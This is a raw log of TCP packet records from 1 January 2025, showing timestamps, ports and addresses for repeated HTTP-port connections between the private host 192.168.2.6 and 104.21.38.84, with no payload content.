Jan 1, 2025 16:03:08.000720024 CET	62708	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.080105066 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.085282087 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.085381031 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.085648060 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.090487003 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.313519955 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.318435907 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.318478107 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.427053928 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.438534021 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.443397999 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.469639063 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.537785053 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.579003096 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.608072042 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.657121897 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.802113056 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.844650030 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.935712099 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.935713053 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.936573982 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.940855026 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.940937996 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.941118002 CET	80	62710	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.941168070 CET	62710	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.941399097 CET	80	62711	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.941461086 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.941576004 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:08.946315050 CET	80	62711	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:09.297864914 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.302797079 CET	80	62711	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:09.393985033 CET	80	62711	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:09.438384056 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.599112034 CET	80	62711	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:09.641539097 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.717716932 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.722593069 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:09.722692013 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.724282980 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:09.729099989 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.079206944 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.084081888 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.163470030 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.204041958 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.347675085 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.391549110 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.468681097 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.469463110 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.473753929 CET	80	62712	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.473807096 CET	62712	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.474327087 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.474394083 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.474524975 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.479340076 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.834270000 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:10.839236021 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.919001102 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:10.969737053 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.100461960 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.141652107 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.229967117 CET	62711	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.230066061 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.230382919 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.235266924 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.235333920 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.235477924 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.235934019 CET	80	62713	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.235980034 CET	62713	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.240256071 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.594842911 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.599731922 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.687906027 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:11.735307932 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:11.952198982 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.000879049 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.074565887 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.075257063 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.079653978 CET	80	62714	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.079720020 CET	62714	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.080060959 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.080126047 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.080233097 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.084973097 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.438463926 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.443335056 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.542864084 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.594640970 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.718910933 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.766520023 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.799307108 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.844703913 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.929743052 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.930512905 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.934782982 CET	80	62715	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.934957027 CET	62715	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.935277939 CET	80	62716	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:12.935352087 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.935436010 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:12.940175056 CET	80	62716	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.284388065 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.289280891 CET	80	62716	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.379698992 CET	80	62716	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.422873020 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.617991924 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.618283987 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.622895956 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.622998953 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.623198986 CET	80	62716	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.623250961 CET	62716	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.623900890 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.628659010 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.763134956 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.768006086 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.768101931 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.768203974 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.772907019 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.969852924 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:13.974679947 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:13.974800110 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.067747116 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.110305071 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.126076937 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.130873919 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.213042021 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.266525984 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.337053061 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.391550064 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.480444908 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.532216072 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.608282089 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.609056950 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.609059095 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.613306046 CET	80	62717	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.613378048 CET	62717	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.613914967 CET	80	62719	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.613985062 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.614020109 CET	80	62718	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.614065886 CET	62718	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.614149094 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.618947983 CET	80	62719	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:14.982657909 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:14.987560034 CET	80	62719	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.067742109 CET	80	62719	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.110275030 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.335500956 CET	80	62719	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.375902891 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.450922012 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.455753088 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.455828905 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.455957890 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.460725069 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.813499928 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:15.818403006 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.897746086 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:15.938426018 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.402477026 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:16.454060078 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.528441906 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.529171944 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.533588886 CET	80	62720	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:16.533663988 CET	62720	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.533992052 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:16.534059048 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.534173965 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.538934946 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:16.891745090 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:16.896708965 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:16.987915039 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.032217026 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.252648115 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.297782898 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.392211914 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.392941952 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.397268057 CET	80	62721	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.397346973 CET	62721	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.397773981 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.397842884 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.397945881 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.402707100 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.751094103 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:17.756127119 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.841615915 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:17.891542912 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.102741003 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.143059015 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.222300053 CET	62719	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.233273029 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.233583927 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.238205910 CET	80	62722	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.238260984 CET	62722	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.238379955 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.238439083 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.238538980 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.243279934 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.594813108 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.599688053 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.682545900 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.735274076 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:18.939131975 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:18.985281944 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.067189932 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.067900896 CET	62726	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.072338104 CET	80	62725	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.072385073 CET	62725	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.072699070 CET	80	62726	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.072824955 CET	62726	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.072904110 CET	62726	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.077661037 CET	80	62726	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.346163034 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.346412897 CET	62726	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.350995064 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.352636099 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.352675915 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.357455969 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.394665003 CET	80	62726	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.450989962 CET	80	62726	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.451055050 CET	62726	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.474862099 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.479695082 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.479757071 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.479906082 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.484654903 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.704116106 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.708981037 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.709050894 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.808497906 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.829138994 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.834008932 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.860296965 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:19.922841072 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:19.969676018 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.072254896 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.125924110 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.176903963 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.219742060 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.263592958 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.313431978 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.388858080 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.388859034 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.389616966 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.393932104 CET	80	62728	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.393989086 CET	62728	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.394365072 CET	80	62727	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.394412041 CET	80	62729	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.394412994 CET	62727	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.394464016 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.394752026 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.399525881 CET	80	62729	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.751038074 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:20.755889893 CET	80	62729	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.864494085 CET	80	62729	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:20.907174110 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.036792040 CET	80	62729	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.079046965 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.155344963 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.160295010 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.164562941 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.169689894 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.174494982 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.516659975 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.521569967 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.609236002 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.657181025 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.784347057 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.829087019 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.903523922 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.904232025 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.908658981 CET	80	62731	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.908746004 CET	62731	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.909008026 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:21.909077883 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.909168959 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:21.914901018 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.266801119 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.271641016 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.357624054 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.407269001 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.531091928 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.579046011 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.654380083 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.655213118 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.659493923 CET	80	62732	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.659560919 CET	62732	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.659987926 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:22.660046101 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.660137892 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:22.664863110 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.017584085 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.106199980 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.113488913 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.157288074 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.362490892 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.407283068 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.478257895 CET	62729	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.482409954 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.483114958 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.487481117 CET	80	62733	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.487551928 CET	62733	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.487901926 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.487967014 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.488105059 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.492831945 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.844902992 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:23.849761009 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.931265116 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:23.985305071 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.194370985 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.235342979 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.406426907 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.406788111 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.411422014 CET	80	62734	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.411478996 CET	62734	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.411633015 CET	80	62735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.411693096 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.420490980 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.425292969 CET	80	62735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.766701937 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:24.771580935 CET	80	62735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.859992027 CET	80	62735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:24.907234907 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.079864979 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.080370903 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.085315943 CET	80	62735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.085330009 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.085375071 CET	62735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.085411072 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.085496902 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.090351105 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.198445082 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.203320980 CET	80	62737	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.203388929 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.203449011 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.208173037 CET	80	62737	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.438642979 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.443568945 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.443614006 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.548065901 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.548192978 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.552941084 CET	80	62737	104.21.38.84	192.168.2.6
